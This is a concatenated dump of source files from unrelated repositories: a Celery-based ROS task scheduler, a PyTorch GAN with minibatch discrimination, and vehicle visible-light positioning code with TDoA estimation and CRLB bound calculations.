{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,961
asmodehn/celeros
refs/heads/master
/celeros/config_simulation.py
# # sample celeros configuration. # this file can be overloaded and passed as argument to change the celeros configuration # # TODO : move to a cleaner way to do configuration ( probably after mutating into up a pure python package ) from kombu import Queue from .config import * # We only override what is different from normal config. CELERY_QUEUES = ( ) # (List of) tuples of battery levels and queues that can be consumed from, # only if the battery has a percentage higher than the specified level CELEROS_MIN_BATTERY_PCT_QUEUE = [ (10, Queue('simulated.celeros', routing_key='simulated.celeros')) ] # This will automatically create the required queues. No need to specify CELERY_QUEUES here. # Note : celery groups tasks by queues in order to send them to different workers. # But the default case is that all worker should mostly able to do all tasks # For robot the usual assumption is different : only one robot can do one task. # => We should have some kind of "per robot" configuration that allows a robot to provide one task but not another... # And this should probably be independent of how the broker handles the transmission of these tasks # ie. what a robot can do, should not be related to queues, but to simple robot configuration # => Maybe task imports ? but sender needs all, and all robots could potentially send...
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,962
asmodehn/celeros
refs/heads/master
/setup.py
# This setup is usable by catkin, or on its own as usual python setup.py _CATKIN = False try: from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup _CATKIN = True except Exception as e: from setuptools import setup # CAREFUL distutils and setuptools take different arguments and have different behaviors if _CATKIN: # using distutils : https://docs.python.org/2/distutils # fetch values from package.xml setup_args = generate_distutils_setup( packages=[ 'celeros', 'celeros.bootsteps', 'celeros.celerybeatredis', 'celery', 'celery.app', 'celery.apps', 'celery.backends', 'celery.backends.database', 'celery.bin', 'celery.concurrency', 'celery.contrib', 'celery.events', 'celery.fixups', 'celery.loaders', 'celery.security', 'celery.task', 'celery.utils', 'celery.utils.dispatch', 'celery.worker', 'kombu', 'kombu.async', 'kombu.transport', 'kombu.transport.sqlalchemy', 'kombu.transport.virtual', 'kombu.utils', 'billiard', 'billiard.dummy', 'billiard.py2', 'billiard.py3', 'flower', 'flower.api', 'flower.utils', 'flower.utils.backports', 'flower.views', 'tornado_cors', 'redis', ], package_dir={ 'celeros': 'celeros', 'celery': 'deps/celery/celery', 'kombu': 'deps/kombu/kombu', 'billiard': 'deps/billiard/billiard', 'flower': 'deps/flower/flower', 'tornado_cors': 'deps/tornado-cors/tornado_cors', 'redis': 'deps/redis/redis', }, py_modules=[ 'flask_celery', ], package_data={ 'flower': ['templates/*', 'static/**/*', 'static/*.*'] }, ) setup(**setup_args) else: # using setuptools : http://pythonhosted.org/setuptools/ setup(name='celeros', version='0.1.0', description='Celery as a scheduler for ROS systems', url='http://github.com/asmodehn/celeros', author='AlexV', author_email='asmodehn@gmail.com', license='BSD', packages=[ 'celeros', 'celeros.bootsteps', 'celeros.celerybeatredis', 'celery', 'celery.app', 'celery.apps', 'celery.backends', 'celery.backends.database', 'celery.bin', 'celery.concurrency', 'celery.contrib', 'celery.events', 'celery.fixups', 'celery.loaders', 'celery.security', 'celery.task', 'celery.utils', 'celery.utils.dispatch', 'celery.worker', 'kombu', 'kombu.async', 'kombu.transport', 'kombu.transport.sqlalchemy', 'kombu.transport.virtual', 'kombu.utils', 'billiard', 'billiard.dummy', 'billiard.py2', 'billiard.py3', 'flower', 'flower.api', 'flower.utils', 'flower.utils.backports', 'flower.views', 'tornado_cors', 'redis', ], package_dir={ 'celeros': 'celeros', 'celery': 'deps/celery/celery', 'kombu': 'deps/kombu/kombu', 'billiard': 'deps/billiard/billiard', 'flower': 'deps/flower/flower', 'tornado_cors': 'deps/tornado-cors/tornado_cors', 'redis': 'deps/redis/redis', }, package_data={ 'flower': ['templates/*', 'static/**/*', 'static/*.*'] }, # TODO : config files install via data_files. careful : https://bitbucket.org/pypa/setuptools/issues/130 # or maybe move to wheel ? # this is better than using package data ( since behavior is a bit different from distutils... ) include_package_data=True, # use MANIFEST.in during install. install_requires=[ 'pyros>=0.2.0', 'click', ], zip_safe=False, # TODO testing... )
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,963
asmodehn/celeros
refs/heads/master
/celeros/bootsteps/pyrosboot.py
#!/usr/bin/env python import sys import os import logging import multiprocessing from functools import partial import pyros from celery import Celery, bootsteps from celery.platforms import signals as _signals from celery.utils.log import get_logger _logger = get_logger(__name__) # TODO : fix logging : http://docs.celeryproject.org/en/latest/userguide/extending.html#installing-bootsteps # logging is not reentrant, and methods here are called in different ways... # TODO : configuration for tests... class PyrosBoot(bootsteps.StartStopStep): """ This is a worker bootstep. It starts the pyros node and a client. That client can then be used in tasks and in other places in celery customization code """ requires = ('celery.worker.components:Pool', ) def __init__(self, worker, **kwargs): logging.warn('{0!r} bootstep {1}'.format(worker, __file__)) # dynamic setup and import ( in different process now ) try: import pyros self.ros_argv = kwargs['ros_arg'] if 'ros_arg' in kwargs else [] self.node_proc = pyros.PyrosROS( 'celeros', self.ros_argv ) # Attribute error is triggered when using pyros < 0.1.0 except (ImportError, AttributeError) as e: #logging.warn("{name} Error: Could not import pyros : {e}".format(name=__name__, e=e)) ### TMP ### logging.warn("{name} Attempting bwcompat import : {e}".format(name=__name__, e=e)) # BWcompat with old pyros : try: # this will import rosinterface and if needed simulate ROS setup import sys import pyros import pyros.rosinterface # this doesnt work with celery handling of imports # sys.modules["pyros.rosinterface"] = pyros.rosinterface.delayed_import_auto( # distro='indigo', # base_path=os.path.join(os.path.dirname(__file__), '..', '..', '..') # ) pyros.rosinterface = pyros.rosinterface.delayed_import_auto( distro='indigo', base_path=os.path.join(os.path.dirname(__file__), '..', '..', '..') ) self.ros_argv = kwargs['ros_arg'] if 'ros_arg' in kwargs else [] self.node_proc = pyros.rosinterface.PyrosROS( 'celeros', self.ros_argv, base_path=os.path.join(os.path.dirname(__file__), '..', '..', '..') ) except ImportError as e: logging.warn("{name} Error: Could not import pyros.rosinterface : {e}".format(name=__name__, e=e)) raise client_conn = self.node_proc.start() # we do this in init so all pool processes have access to it. worker.app.ros_node_client = pyros.PyrosClient(client_conn) def create(self, worker): return self def start(self, worker): # our step is started together with all other Worker/Consumer # bootsteps. pass def stop(self, worker): # The Worker will call stop at shutdown only. logging.warn('{0!r} is stopping. Attempting termination of current tasks...'.format(worker)) # Following code from worker.control.revoke terminated = set() # cleaning all reserved tasks since we are shutting down signum = _signals.signum('TERM') for request in [r for r in worker.state.reserved_requests]: if request.id not in terminated: terminated.add(request.id) _logger.info('Terminating %s (%s)', request.id, signum) request.terminate(worker.pool, signal=signum) # Aborting currently running tasks, and triggering soft timeout exception to allow task to clean up. signum = _signals.signum('USR1') for request in [r for r in worker.state.active_requests]: if request.id not in terminated: terminated.add(request.id) _logger.info('Terminating %s (%s)', request.id, signum) request.terminate(worker.pool, signal=signum) # triggering SoftTimeoutException in Task if terminated: terminatedstr = ', '.join(terminated) _logger.info('Tasks flagged as revoked: %s', terminatedstr) self.node_proc.shutdown()
{"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]}
53,973
sanghviyashiitb/GANS-VanillaAndMinibatchDiscrimination
refs/heads/master
/test_minibatch_discrimination.py
import torch import torch.nn as nn import torch.nn.functional as F from torch.autograd import Variable from minibatch_discrimination import MiniBatchDiscrimination BATCH_SIZE = 100 INPUT_DIM = 784 # Instantiate a MiniBatch Discrimination Layer and check output size mbd_test = MiniBatchDiscrimination(128, 64, 50, BATCH_SIZE) in_test = torch.randn(BATCH_SIZE,128) print(in_test.size()) out_test = mbd_test(in_test) print(out_test.size()) class Discriminator(nn.Module): def __init__(self): super(Discriminator,self).__init__() self.lin1 = nn.Linear(INPUT_DIM, 128) self.mbd1 = MiniBatchDiscrimination(128, 64, 50, BATCH_SIZE) self.lin2 = nn.Linear(192, 1) def forward(self, x): x = F.leaky_relu(self.lin1(x),0.1) x = F.sigmoid(self.lin2( torch.cat((x, self.mbd1(x)),dim=1) )) # x = self.mbd1(x) return x dis1 = Discriminator() in1 = torch.randn(BATCH_SIZE,INPUT_DIM) out1 = dis1(in1) print(out1.size())
{"/test_minibatch_discrimination.py": ["/minibatch_discrimination.py"]}
53,974
sanghviyashiitb/GANS-VanillaAndMinibatchDiscrimination
refs/heads/master
/vanilla_gan.py
from __future__ import print_function import torch import torchvision import torchvision.transforms as transforms import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import numpy as np import matplotlib.pyplot as plt # Input dimensions for an MNIST image MNIST_W = 28 MNIST_H = 28 MNIST_DIM = MNIST_H*MNIST_W NOISE_DIM = 20 BATCH_SIZE = 10 LEARN_RATE = 1e-4 MAX_EPOCH = 1 # Defining a Generator and Discriminator network class Generator(nn.Module): def __init__(self): super(Generator,self).__init__() self.lin1 = nn.Linear(NOISE_DIM, 100) self.lin2 = nn.Linear(100, 400) self.lin3 = nn.Linear(400, MNIST_DIM) def forward(self, x): x = F.relu(self.lin1(x)) x = F.relu(self.lin2(x)) x = self.lin3(x) return x class Discriminator(nn.Module): def __init__(self): super(Discriminator,self).__init__() self.lin1 = nn.Linear(MNIST_DIM, 100) self.lin2 = nn.Linear(100, 20) self.lin3 = nn.Linear(20, 1) def forward(self, x): x = F.relu(self.lin1(x)) x = F.relu(self.lin2(x)) x = F.sigmoid(self.lin3(x)) # Sigmoid at the last layer because we want to output a probability return x # Download MNIST data and set up DataLoader transform = transforms.Compose([transforms.ToTensor(), transforms.Normalize((0.5, 0.5),(0.5, 0.5))]) trainset = torchvision.datasets.MNIST(root = './data_MNIST',train = True, download = True, transform=transform) trainloader = torch.utils.data.DataLoader(trainset, batch_size = BATCH_SIZE, shuffle = True, num_workers = 0) dataiter = iter(trainloader) # Instantiate the generator and discriminator nets gen1 = Generator() dis1 = Discriminator() gen_optimizer = optim.SGD(gen1.parameters(), lr = LEARN_RATE, momentum = 0.9) dis_optimizer = optim.SGD(dis1.parameters(), lr = LEARN_RATE, momentum = 0.9) criterion_dis = nn.BCELoss() criterion_gen = nn.BCELoss() # Start the training procedure for epoch in range(MAX_EPOCH): for i, data in enumerate(trainloader,0): ## Discriminator update step true_examples, _ = data dis_optimizer.zero_grad() # Forward pass 'BATCH_SIZE' number of noise vectors through Generator noise_outputs = gen1.forward(torch.randn(BATCH_SIZE,NOISE_DIM)) # Obtain 'BATCH_SIZE' number of true samples true_examples = true_examples.view(-1,MNIST_DIM) # Forward pass "false" and true samples through the discriminator # and calculate the respective terms of discriminator loss dis_true_loss = criterion_dis(dis1.forward(true_examples),torch.ones([BATCH_SIZE,1],dtype = torch.float32)) dis_false_loss = criterion_dis(dis1.forward(noise_outputs),torch.zeros([BATCH_SIZE,1],dtype = torch.float32)) # Calculate discriminator loss and backprop on discriminator params dis_loss = dis_true_loss + dis_false_loss dis_loss.backward() dis_optimizer.step() ## Generator update step gen_optimizer.zero_grad() # Forward pass 'BATCH_SIZE' number of noise vectors through Generator, and the outputs through Discriminator noise_outputs = gen1.forward(torch.randn(BATCH_SIZE,NOISE_DIM)) # Calculate generator loss and backprop on generator params gen_loss = criterion_gen(dis1.forward(noise_outputs),torch.zeros([BATCH_SIZE,1],dtype =torch.float32)) gen_loss.backward() gen_optimizer.step() if i % 100 == 0: print('iter: %3d dis_loss: %.3f gen_loss: %.3f ' % (i, dis_loss.item(), gen_loss.item()) ) print('One Epoch completed, saving current model') # Should save the model at this checkpoint LEARN_RATE = LEARN_RATE/10 gen_optimizer = optim.SGD(gen1.parameters(), lr = LEARN_RATE, momentum = 0.9) dis_optimizer = optim.SGD(dis1.parameters(), lr = LEARN_RATE, momentum = 0.9) # Show images generated by Generator after training gen_images = gen1.forward(torch.randn(BATCH_SIZE,NOISE_DIM)) im = gen_images.data img = im.view([-1,MNIST_H,MNIST_W]) print(img.size()) img = torchvision.utils.make_grid(img,nrow = 5) print(img.size()) npimg = img.numpy() print(np.shape(npimg)) plt.imshow(np.transpose(npimg,(1,2,0))) plt.show()
{"/test_minibatch_discrimination.py": ["/minibatch_discrimination.py"]}
53,975
sanghviyashiitb/GANS-VanillaAndMinibatchDiscrimination
refs/heads/master
/minibatch_discrimination.py
import torch import torch.nn as nn from torch.autograd import Variable from torch.nn.parameter import Parameter class MiniBatchDiscrimination(nn.Module): def __init__(self, A, B, C, batch_size): super(MiniBatchDiscrimination, self).__init__() self.feat_num = A self.out_size = B self.row_size = C self.N = batch_size self.T = Parameter(torch.Tensor(A,B,C)) self.reset_parameters() def forward(self, x): # Output matrices after matrix multiplication M = x.mm(self.T.view(self.feat_num,self.out_size*self.row_size)).view(-1,self.out_size,self.row_size) out = Variable(torch.zeros(self.N,self.out_size)) for k in range(self.N): # Not happy about this 'for' loop, but this is the best we could do using PyTorch IMO c = torch.exp(-torch.sum(torch.abs(M[k,:]-M),2)) # exp(-L1 Norm of Rows difference) if k != 0 and k != self.N -1: out[k,:] = torch.sum(c[0:k,:],0) + torch.sum(c[k:-1,:],0) else: if k == 0: out[k,:] = torch.sum(c[1:,:],0) else: out[k,:] = torch.sum(c[0:self.N-1],0) return out def reset_parameters(self): stddev = 1/self.feat_num self.T.data.uniform_(stddev)
{"/test_minibatch_discrimination.py": ["/minibatch_discrimination.py"]}
53,976
fsahbaz/elec491
refs/heads/main
/VLP_methods/tdoa.py
import numpy as np import math """ *: coordinate center of cari |--------| | car1 | |-------*| | y | |---------| | | car2 | |-------------------|*--------| d """ class TDoA: def __init__(self, a_m=2, f_m1=40000000, f_m2=25000000, measure_dt=1e-8, vehicle_dt=1e-3, car_dist=1.6, c=3e8): """ :param a_m: initial power of the transmitted signal :param f_m1: tone/frequency of the signal from trx_1 :param f_m2: tone/frequency of the signal from trx_2 :param measure_dt: time increment to measure the received signal :param vehicle_dt: time between vehicle position measurements :param car_dist: distance between two headlights/taillights of the car :param c: speed of light """ self.a_m = a_m self.dt = measure_dt self.measure_period = vehicle_dt self.w1 = 2 * math.pi * f_m1 self.w2 = 2 * math.pi * f_m2 self.car_dist = car_dist self.t = np.arange(0, vehicle_dt - self.dt, self.dt) self.c = c def estimate(self, delays, H, noise_variance): """ Implements the method of Roberts et al. using received signal :param delays: actual delay values of transmitted signals, 2*2 matrix, first index is for tx second is for rx :param H: attenuation on the signal, 2*2 matrix, first index is for tx second is for rx :param noise_variance: AWGN variance values for each signal, 2*2 matrix, first index is for tx second is for rx :return: estimated positions of the transmitting vehicle """ #calculate measured delay using attenuation and noise on the signal delay1_measured, delay2_measured = self.measure_delay(delays, H, noise_variance) # calculate distance differences using d(dist) = delay * c v = self.c ddist1 = np.mean(delay1_measured) * v ddist2 = np.mean(delay2_measured) * v #following notations such as Y_A, D, A, and B are in line with the paper itself Y_A = self.car_dist D = self.car_dist #calculate x,y position of the leading vehicle using eqs. in Robert's method if abs(ddist1) > 1e-4 and abs(ddist2) > 1e-4: A = Y_A ** 2 * (1 / (ddist1 ** 2) - 1 / (ddist2 ** 2)) B1 = (-(Y_A ** 3) + 2 * (Y_A ** 2) * D + Y_A * (ddist1 ** 2)) / (ddist1 ** 2) B2 = (-(Y_A ** 3) + Y_A * (ddist2 ** 2)) / (ddist2 ** 2) B = B1 - 2 * D - B2 C1 = ((Y_A ** 4) + 4 * (D ** 2) * (Y_A ** 2) + (ddist1 ** 4) - 4 * D * (Y_A ** 3) - 2 * (Y_A ** 2) * ( ddist1 ** 2) + 4 * D * Y_A * (ddist1 ** 2)) / (4 * (ddist1 ** 2)) C2 = ((Y_A ** 4) + (ddist2 ** 4) - 2 * (Y_A ** 2) * (ddist2 ** 2)) / (4 * (ddist2 ** 2)) C = C1 - D ** 2 - C2 if ddist1 * ddist2 > 0: Y_B = (- B - math.sqrt(B ** 2 - 4 * A * C)) / (2 * A) else: Y_B = (- B + math.sqrt(B ** 2 - 4 * A * C)) / (2 * A) if ((Y_A ** 2 - 2 * Y_A * Y_B - ddist2 ** 2) / (2 * ddist2)) ** 2 - (Y_B ** 2) < 0: # since assumes parallel, fails to find close delays -> negative in srqt return np.array([[float('NaN'), float('NaN')], [float('NaN'), float('NaN')]]) X_A = - math.sqrt(((Y_A ** 2 - 2 * Y_A * Y_B - ddist2 ** 2) / (2 * ddist2)) ** 2 - (Y_B ** 2)) elif abs(ddist1) <= 1e-4: Y_B = Y_A / 2 - D if ((2 * D * Y_A - ddist2 ** 2) / (2 - ddist2)) ** 2 - (D - Y_A / 2) ** 2 < 0: # since assumes parallel, fails to find close delays -> negative in srqt return np.array([[float('NaN'), float('NaN')], [float('NaN'), float('NaN')]]) X_A = - math.sqrt(((2 * D * Y_A - ddist2 ** 2) / (2 - ddist2)) ** 2 - (D - Y_A / 2) ** 2) else: Y_B = Y_A / 2 if ((2 * Y_A * D + ddist1 ** 2) / (2 * ddist1)) ** 2 - (D + Y_A / 2) ** 2 < 0: # since assumes parallel, fails to find close delays -> negative in srqt return np.array([[float('NaN'), float('NaN')], [float('NaN'), float('NaN')]]) X_A = - math.sqrt(((2 * Y_A * D + ddist1 ** 2) / (2 * ddist1)) ** 2 - (D + Y_A / 2) ** 2) return np.array([[X_A, X_A], [(0-Y_B), (0-Y_B) + self.car_dist]]) def measure_delay(self, delays, H, noise_variance): """ creates the received signal using input parameters and calculates delay measured by rx :param delays: :param H: :param noise_variance: :return: a tuple where first element is the delay difference between the received signals sent by tx1, second element is the delay difference between the received signals sent by tx1 """ # after going through ADC at receiver delta_delay1 = delays[0][0] - delays[0][1] delta_delay2 = delays[1][0] - delays[1][1] #create received signals s1_w1 = H[0][0] * self.a_m * np.cos(self.w1 * (self.t - delta_delay1)) + np.random.normal(0, math.sqrt(noise_variance[0][0]), len(self.t)) s2_w1 = H[0][1] * self.a_m * np.cos(self.w1 * (self.t)) + np.random.normal(0, math.sqrt(noise_variance[0][1]), len(self.t)) s1_w2 = H[1][0] * self.a_m * np.cos(self.w2 * (self.t - delta_delay2)) + np.random.normal(0, math.sqrt(noise_variance[1][0]), len(self.t)) s2_w2 = H[1][1] * self.a_m * np.cos(self.w2 * (self.t)) + np.random.normal(0, math.sqrt(noise_variance[1][1]), len(self.t)) # take fourier transform s1_w1_fft = np.fft.fft(s1_w1) s2_w1_fft = np.fft.fft(s2_w1) #remove left half for both singals s1_w1_fft[0:len(s1_w1_fft) // 2] = 0 s2_w1_fft[0:len(s2_w1_fft) // 2] = 0 s1_w1_upperSideband = np.fft.ifft(s1_w1_fft) s2_w1_upperSideband = np.fft.ifft(s2_w1_fft) s1_w2_fft = np.fft.fft(s1_w2) s2_w2_fft = np.fft.fft(s2_w2) s1_w2_fft[0:len(s1_w2_fft) // 2] = 0 s2_w2_fft[0:len(s2_w2_fft) // 2] = 0 s1_w2_upperSideband = np.fft.ifft(s1_w2_fft) s2_w2_upperSideband = np.fft.ifft(s2_w2_fft) #multiply the signals to obtain delay difference direct_mix1 = np.multiply(s1_w1_upperSideband, s2_w1_upperSideband.conj()) delay1_measured = np.angle(direct_mix1) / self.w1 direct_mix2 = np.multiply(s1_w2_upperSideband, s2_w2_upperSideband.conj()) delay2_measured = np.angle(direct_mix2) / self.w2 return delay1_measured, delay2_measured
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,977
fsahbaz/elec491
refs/heads/main
/Bound_Estimation/half_crlb_bound_simulator.py
from half_crlb_init import HalfCRLBInit from matfile_read import load_mat import os import pickle import numpy as np # Roberts' method, CRLB calculation for a single position estimation def roberts_half_crlb_single_instance(crlb_inst, tx1, tx2, noise_factor): fim = np.zeros(shape=(2,2)) for param1, param2 in zip(range(2), range(2)): for i in range(2): fim[param1][param2] -= 1 / noise_factor[i] * crlb_inst.d_ddist_d_param(param1 + 1, i, tx1, tx2) \ * crlb_inst.d_ddist_d_param(param2 + 1, i, tx1, tx2) return np.linalg.inv(fim) # Bechadergue's method, CRLB calculation for a single position estimation def bechadergue_half_crlb_single_instance(crlb_inst, tx1, tx2, noise_factor): fim = np.zeros(shape=(4, 4)) for param1, param2 in zip(range(4), range(4)): for i in range(2): for j in range(2): ij = (i + 1) * 10 + (j + 1) fim[param1][param2] -= 1 / noise_factor[i][j] * crlb_inst.d_dij_d_param(param1 + 1, ij, tx1, tx2) \ * crlb_inst.d_dij_d_param(param2 + 1, ij, tx1, tx2) return np.linalg.inv(fim) # Soner's method, CRLB calculation for a single position estimation def soner_half_crlb_single_instance(crlb_inst, tx1, tx2, noise_factor): fim = np.zeros(shape=(4, 4)) for param1, param2 in zip(range(4), range(4)): for i in range(2): for j in range(2): ij = (i + 1) * 10 + (j + 1) fim[param1][param2] -= 1 / noise_factor[i][j] * crlb_inst.d_theta_d_param(param1 + 1, ij, tx1, tx2) \ * crlb_inst.d_theta_d_param(param2 + 1, ij, tx1, tx2) return np.linalg.inv(fim) def main(): # load the data data = load_mat('../SimulationData/v2lcRun_sm3_comparisonSoA.mat') dp = 10 # vehicle parameters L_1 = data['vehicle']['target']['width'] L_2 = data['vehicle']['ego']['width'] rx_area = data['qrx']['f_QRX']['params']['area'] # relative tgt vehicle positions tx1_x = data['vehicle']['target_relative']['tx1_qrx4']['y'][::dp] tx1_y = data['vehicle']['target_relative']['tx1_qrx4']['x'][::dp] tx2_x = data['vehicle']['target_relative']['tx2_qrx3']['y'][::dp] tx2_y = data['vehicle']['target_relative']['tx2_qrx3']['x'][::dp] # read noise params (variance) directory_path = os.path.dirname( os.path.dirname(os.path.join(os.getcwd(), os.listdir(os.getcwd())[0]))) ## directory of directory of file pickle_dir = directory_path + '/Bound_Estimation/Parameter_Deviation/' with open(pickle_dir + 'deviation_tdoa_dist.pkl', 'rb') as f: noise_dev_roberts = pickle.load(f) with open(pickle_dir + 'deviation_theta.pkl', 'rb') as f: noise_dev_soner = pickle.load(f) with open(pickle_dir + 'deviation_rtof_dist.pkl', 'rb') as f: noise_dev_bechadergue = pickle.load(f) # other params rx_fov = 50 # angle tx_half_angle = 60 # angle # initalize crlb equations with given parameters half_crlb_init_object = HalfCRLBInit(L_1, L_2, rx_area, rx_fov, tx_half_angle) # calculate bounds for all elements robert_crlb_results = [np.array([]), np.array([])] becha_crlb_results = [np.array([]), np.array([]), np.array([]), np.array([])] soner_crlb_results = [np.array([]), np.array([]), np.array([]), np.array([])] for i in range(len(tx1_x)): # take position and noise params for ith data point tx1 = np.array([tx1_x[i], tx1_y[i]]) tx2 = np.array([tx2_x[i], tx2_y[i]]) noise_factor_r = noise_dev_roberts[i] noise_factor_b = noise_dev_bechadergue[i] noise_factor_s = noise_dev_soner[i] # calculate inverse of the FIM for each method fim_inverse_rob = roberts_half_crlb_single_instance(half_crlb_init_object, tx1, tx2, noise_factor_r) fim_inverse_becha = bechadergue_half_crlb_single_instance(half_crlb_init_object, tx1, tx2, noise_factor_b) fim_inverse_soner = soner_half_crlb_single_instance(half_crlb_init_object, tx1, tx2, noise_factor_s) # take sqrt for the deviation robert_crlb_results[0] = np.append(robert_crlb_results[0], np.sqrt(fim_inverse_rob[0][0])) robert_crlb_results[1] = np.append(robert_crlb_results[1], np.sqrt(fim_inverse_rob[1][1])) becha_crlb_results[0] = np.append(becha_crlb_results[0], np.sqrt(fim_inverse_becha[0][0])) becha_crlb_results[1] = np.append(becha_crlb_results[1], np.sqrt(fim_inverse_becha[1][1])) becha_crlb_results[2] = np.append(becha_crlb_results[2], np.sqrt(fim_inverse_becha[2][2])) becha_crlb_results[3] = np.append(becha_crlb_results[3], np.sqrt(fim_inverse_becha[3][3])) soner_crlb_results[0] = np.append(soner_crlb_results[0], np.sqrt(fim_inverse_soner[0][0])) soner_crlb_results[1] = np.append(soner_crlb_results[1], np.sqrt(fim_inverse_soner[1][1])) soner_crlb_results[2] = np.append(soner_crlb_results[2], np.sqrt(fim_inverse_soner[2][2])) soner_crlb_results[3] = np.append(soner_crlb_results[3], np.sqrt(fim_inverse_soner[3][3])) # save results to .txt files if not os.path.exists(directory_path + "/Bound_Estimation/Half_CRLB_Data"): os.makedirs(directory_path + "/Bound_Estimation/Half_CRLB_Data") if not os.path.exists(directory_path + "/Bound_Estimation/Half_CRLB_Data/aoa"): os.makedirs(directory_path + "/Bound_Estimation/Half_CRLB_Data/aoa") if not os.path.exists(directory_path + "/Bound_Estimation/Half_CRLB_Data/rtof"): os.makedirs(directory_path + "/Bound_Estimation/Half_CRLB_Data/rtof") if not os.path.exists(directory_path + "/Bound_Estimation/Half_CRLB_Data/tdoa"): os.makedirs(directory_path + "/Bound_Estimation/Half_CRLB_Data/tdoa") np.savetxt('Half_CRLB_Data/aoa/crlb_x1.txt', soner_crlb_results[0], delimiter=',') np.savetxt('Half_CRLB_Data/rtof/crlb_x1.txt', becha_crlb_results[0], delimiter=',') np.savetxt('Half_CRLB_Data/aoa/crlb_x2.txt', soner_crlb_results[2], delimiter=',') np.savetxt('Half_CRLB_Data/rtof/crlb_x2.txt', becha_crlb_results[2], delimiter=',') np.savetxt('Half_CRLB_Data/tdoa/crlb_x.txt', robert_crlb_results[0], delimiter=',') np.savetxt('Half_CRLB_Data/aoa/crlb_y1.txt', soner_crlb_results[1], delimiter=',') np.savetxt('Half_CRLB_Data/rtof/crlb_y1.txt', becha_crlb_results[1], delimiter=',') np.savetxt('Half_CRLB_Data/aoa/crlb_y2.txt', soner_crlb_results[3], delimiter=',') np.savetxt('Half_CRLB_Data/rtof/crlb_y2.txt', becha_crlb_results[3], delimiter=',') np.savetxt('Half_CRLB_Data/tdoa/crlb_y.txt', robert_crlb_results[1], delimiter=',') print("finished") if __name__ == "__main__": main()
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,978
fsahbaz/elec491
refs/heads/main
/config.py
from yacs.config import CfgNode as CN # Parameters for generate_simulation_data.py gen_sim_data = CN() gen_sim_data.names = CN() # directory names gen_sim_data.names.data_names = ['v2lcRun_sm1_laneChange', 'v2lcRun_sm2_platoonFormExit', 'v2lcRun_sm3_comparisonSoA'] gen_sim_data.names.folder_names = ['1/', '2/', '3/'] gen_sim_data.params = CN() # data manipulation params gen_sim_data.params.start_point_of_iter = 0 gen_sim_data.params.end_point_of_iter = 2 gen_sim_data.params.number_of_skip_data = 10 # environment params gen_sim_data.params.c = 3e8 gen_sim_data.params.rx_fov = 50 # angle gen_sim_data.params.tx_half_angle = 60 # angle gen_sim_data.params.signal_freq = 1e6 gen_sim_data.params.measure_dt = 1 / 2.5e6 # 2.5 MHz measure frequency # noise params gen_sim_data.params.T = 298 # Kelvin gen_sim_data.params.I_bg = 750e-6 # 750 uA # aoa params gen_sim_data.params.w0 = 0 # rtof params gen_sim_data.params.rtof_measure_dt = 5e-9 gen_sim_data.params.r = 499 gen_sim_data.params.N = 1 # Parameters for plot_simulation_data.py plot_sim_data = CN() plot_sim_data.names = CN() plot_sim_data.names.sm = [1, 2, 3] plot_sim_data.names.folder_name = 'GUI_data/100_point_202/' plot_sim_data.names.dir = 'GUI_data/100_point_202/' plot_sim_data.names.data_names = gen_sim_data.names.data_names plot_sim_data.names.folder_names = 